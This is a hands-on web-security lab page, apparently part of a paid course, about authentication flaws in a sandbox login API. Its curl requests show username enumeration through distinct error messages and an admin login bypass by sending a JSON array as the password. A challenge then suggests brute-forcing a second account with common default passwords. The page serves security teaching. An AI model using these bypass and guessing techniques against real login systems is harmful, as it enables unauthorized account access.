Authentication Vulnerabilities
A login form looks normal. It has a username, a password, and it rejects wrong answers. It also has a few small flaws that let you in without the password at all.
The rule: there are three accounts in this sandbox — demo, ada, and admin. You don't know any of their passwords. Your job is to log in as admin anyway.
Test
Copy these. Run them. Read what comes back.
Step 1 · A wrong password
Start with a wrong password. Look at how the server responds.
curl -s -X POST "{LAB_API_BASE}/api/06/login" \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"wrong"}'What you'll see:
{
"ok": false,
"error": "wrong password for existing user: admin"
}That message tells you two things: admin exists, and the password was simply wrong. Now compare it to a username that doesn't exist.
Step 2 · A username that doesn't exist
Send a username the system has never seen.
curl -s -X POST "{LAB_API_BASE}/api/06/login" \
-H "Content-Type: application/json" \
-d '{"username":"ghost","password":"whatever"}'What you'll see:
{
"ok": false,
"error": "no such user: ghost"
}Two different messages. One for a real user with a bad password, one for a user that doesn't exist. That is username enumeration — the app tells you which accounts are real. It also tells you which users to attack.
Step 3 · Send an array where a string is expected
The login handler is written in a language that treats ["value"] and "value" as interchangeable in some contexts. Send an array as the password. Watch.
curl -s -X POST "{LAB_API_BASE}/api/06/login" \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":["wrong","wrong"]}'What you'll see:
{
"ok": true,
"note": "admin session issued — bypass via type confusion",
"token": "tok-admin-9b2f",
"flag": "HL{4uth_byp4ss_typ3}"
}You just logged in as admin without the admin password. The server compared an array against a string, the comparison silently failed open, and it handed you a session. That is type confusion — one of the many ways authentication logic breaks.
Challenge
Now do it yourself. No copy-paste. Everything you need is above.
The type-confusion bypass worked because the server compared "admin" against an array. But there is a second account — ada — that this trick does not work on. The server validates her password with a stricter check.
But the login handler also has a rate limit of zero. Send as many attempts as you want. There is a common default password for accounts created during testing. Try the obvious ones for ada: ada, password, admin, 123456, letmein.
One of them works. The flag is in the response.
Solved.
You broke authentication two different ways. Read why it happened and how to prevent it — in Lesson 06.
Read Lesson 06 in the bookThis lab is free. The deep and the full knowledge is in the book. Full 30 Lessons
Lesson 06 — Authentication Vulnerabilities
You've practiced the exploit. Now learn why it happens, how attackers weaponize it, developer mistakes, how to fix it etc in the full Hunterlian book.
Buy the bookAlready have the book? Back to reader →